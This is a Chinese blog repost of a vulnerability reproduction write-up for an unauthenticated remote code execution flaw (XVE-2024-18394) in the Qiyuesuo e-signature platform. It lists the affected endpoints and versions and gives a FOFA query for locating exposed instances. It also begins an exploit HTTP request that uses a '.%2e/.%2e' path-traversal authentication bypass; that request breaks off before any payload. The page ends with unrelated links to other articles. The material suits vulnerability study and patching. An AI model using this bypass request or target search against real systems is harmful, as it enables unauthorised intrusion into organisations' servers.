首页 > 其他分享 >契约锁电子签章平台 /param/edits 远程代码执行漏洞复现(XVE-2024-18394)

契约锁电子签章平台 /param/edits 远程代码执行漏洞复现(XVE-2024-18394)

时间:2024-08-06 18:26:23浏览次数:11  
标签:param 漏洞 edits 代码执行 template 契约 签章 18394

0x01 产品简介

契约锁电子签章平台是上海亘岩网络科技有限公司推出的一套数字签章解决方案。契约锁为中大型组织提供“数字身份、电子签章、印章管控以及数据存证服务”于一体的数字可信基础解决方案,可无缝集成各类系统,让其具有电子化签署的能力,实现组织全程数字化办公。通过接口与组织的OA、HRM、CRM等系统集成,让现有管理系统具有电子签能力。系统按需配置,实现文件本地化存储。

0x02 漏洞概述

契约锁电子签章平台 /template/param/edits,/template/html/update,/api/template/param/edits, /api/template/html/update,等接口处存在远程代码执行漏洞,未经身份验证的攻击者可通过tomcat对路径参数解析不正当的特性绕过权限认证在目标执行恶意代码,获取服务器权限。经过分析和研判,该漏洞利用难度低,可导致远程代码执行,建议尽快修复。

0x03 影响范围

契约锁电子签章平台 <= 4.3

0x04 复现环境

FOFA:app="契约锁-电子签署平台"

0x05 漏洞复现

Exp

POST /contract/ukeysign/.%2e/.%2e/template/param/edits HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: */*
Ac

标签:param,漏洞,edits,代码执行,template,契约,签章,18394
From: https://blog.csdn.net/qq_41904294/article/details/140956773

相关文章

  • [Typescript] Understanding TypeScript's Function Parameter Comparisons
    Makethosepass:import{Equal,Expect}from"@total-typescript/helpers";typeEvent="click"|"hover"|"scroll";typeCallbackType=unknown;constlistenToEvent=(callback:CallbackType)=>{};listen......
  • Sentine 源码分析之--ParamFlowSlot
    前言:上一篇我对Sentinel中的AuthoritySlot、SystemSlot、GatewayFlowSlot的相关源码进行了分析,本篇我们开始分析ParamFlowSlot相关的源码。Sentinel系列文章传送门:Sentinel初步认识及使用Sentinel核心概念和工作流程详解SpringCloud整合Nacos、Sentinel、O......
  • WPF locate discreted points via periodically and set transparency via the alpha,
    //xaml<Windowx:Class="WpfApp229.MainWindow"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns:d="http://schemas.mi......
  • params, ref ,out, in关键字以及构造函数
    1.params(paramerters )是可变参数,参数个数不固定 2.可变参数不能在必填写参数前边,且可变参数只能有一个(把参数传递给一个数组,参数个数也可以不固定,但不包含0)publicstaticintSum(paramsint[]nums){intsum1=0;//for循环在循环中可以更改目标,而for......
  • 【C#】params参数
    1.概述将实参列表中跟可变参数数组类型一致的元素都当做数组的元素去处理。params可变参数必须是形参列表中的最后一个元素。2.示例usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;usingSystem.Threading.Tasks;namespaceC......
  • VS2019: LNK2019 无法解析的外部符号 __imp__invalid_parameter
    VS2019开发一个项目,报错:如下,errorLNK2001:unresolvedexternalsymbol__imp___CrtDbgReport errorLNK2001:unresolvedexternalsymbol__imp___invalid_parametererrorLNK2001:unresolvedexternalsymbol__imp___CrtDbgReportW errorLNK2001:unresolvedexterna......
  • @Param的使用
    对于@param的使用:单个参数:对于基本数据类型包括string加不加都可以对于对象,加的话List<User>getUser(@Param("user")Useruser);用以#{user.username}不加则getUser(Useruser);=#{username}多个参数对于基本数据类型,低版本mybatis要加参数包含对象,加不......
  • Python代码大使用Paramiko轻松判断文件类型,提取上级目录
    哈喽,大家好,我是木头左!一、Paramiko简介Paramiko是一个用于SSHv2协议的Python实现,提供了客户端和服务器功能。它可以用于远程连接和管理服务器,执行命令、上传下载文件等。本文将介绍如何使用Paramiko判断文件类型,并提取文件的上级目录。二、安装Paramiko需要安装Paramiko库。......
  • 如何使用 Paramiko 进行 Tailscale 身份验证?
    我正在编写一个脚本,该脚本使用TailscaleAPI获取设备列表,然后使用Paramiko通过SSH连接并查询设备上的一些数据。昨天一切正常,但今天所有连接都失败了。我意识到,在幕后,SSH失败了,因为它由Tailscale管理,需要重新身份验证:sshroot@MyDevice#TailscaleSSHrequiresana......
  • monitor paramiko
    #!/bin/bash#获取要监控的本地服务器IP地址IP=`ifconfig|grepinet|grep-vE'inet6|127.0.0.1'|awk'{print$2}'`echo"IP地址:"$IP#获取cpu总核数cpu_num=`grep-c"modelname"/proc/cpuinfo`echo"cpu总核数:"$cpu_num#......